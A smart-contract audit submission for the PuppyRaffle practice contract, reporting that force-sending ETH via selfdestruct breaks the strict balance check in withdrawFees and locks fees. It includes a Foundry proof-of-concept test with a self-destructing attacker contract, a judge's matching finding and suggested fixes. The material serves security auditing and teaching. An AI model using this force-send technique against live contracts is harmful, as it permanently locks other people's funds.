Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Dangerous Strict Equality in withdrawFees() Allows Attacker to Permanently Block Fee Withdrawal

slientj

Root + Impact

Description

** Normal Behavior:**
The PuppyRaffle::withdrawFees function allows the owner to withdraw accumulated fees. It uses a strict equality check to ensure no players are currently active.

** Specific Issue:**
The function requires address(this).balance == totalFees. However, an attacker can force-send ETH to the contract using selfdestruct, making the balance larger than totalFees. This causes the require to always revert, permanently blocking the owner from withdrawing fees.

// @> Strict equality can be broken by force-sending ETH.
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

Risk

Likelihood:

  • Any attacker can deploy a contract and call selfdestruct to force-send ETH to PuppyRaffle.

  • No special permissions are required.

Impact:

  • The owner can never withdraw fees.

  • Funds are permanently locked in the contract.

Proof of Concept

The attacker deploys a contract that immediately calls selfdestruct targeting PuppyRaffle. This forces 1 wei into the contract, breaking the strict equality check. The withdrawFees() call now always reverts, permanently locking the fees.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract ForceSend {
constructor(address payable target) payable {
selfdestruct(target);
}
}
​
contract WithdrawFeesDoSTest is Test {
PuppyRaffle public raffle;
address public feeAddress = address(0xFEE);
address public owner = address(this);
​
function setUp() public {
raffle = new PuppyRaffle(
feeAddress,
1 ether,
10
);
// Player enters to accumulate fees
address player = address(0x1);
vm.deal(player, 1 ether);
vm.prank(player);
raffle.enterRaffle{value: 1 ether}();
}
​
function testForceSendBlocksWithdrawFees() public {
// 1. Confirm withdrawFees works before the attack
uint256 totalFees = raffle.totalFees();
console.log("Total fees:", totalFees);
console.log("Contract balance before attack:", address(raffle).balance);
​
// 2. Force-send 1 wei to the contract via selfdestruct
new ForceSend{value: 1 wei}(payable(address(raffle)));
​
console.log("Contract balance after attack:", address(raffle).balance);
​
// 3. withdrawFees now reverts because balance != totalFees
vm.expectRevert("PuppyRaffle: There are currently players active!");
raffle.withdrawFees();
}
}

Recommended Mitigation

Use >= instead of ==, or better, track fees separately without relying on address(this).balance.

Or restructure the function to avoid relying on address(this).balance for this check.

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!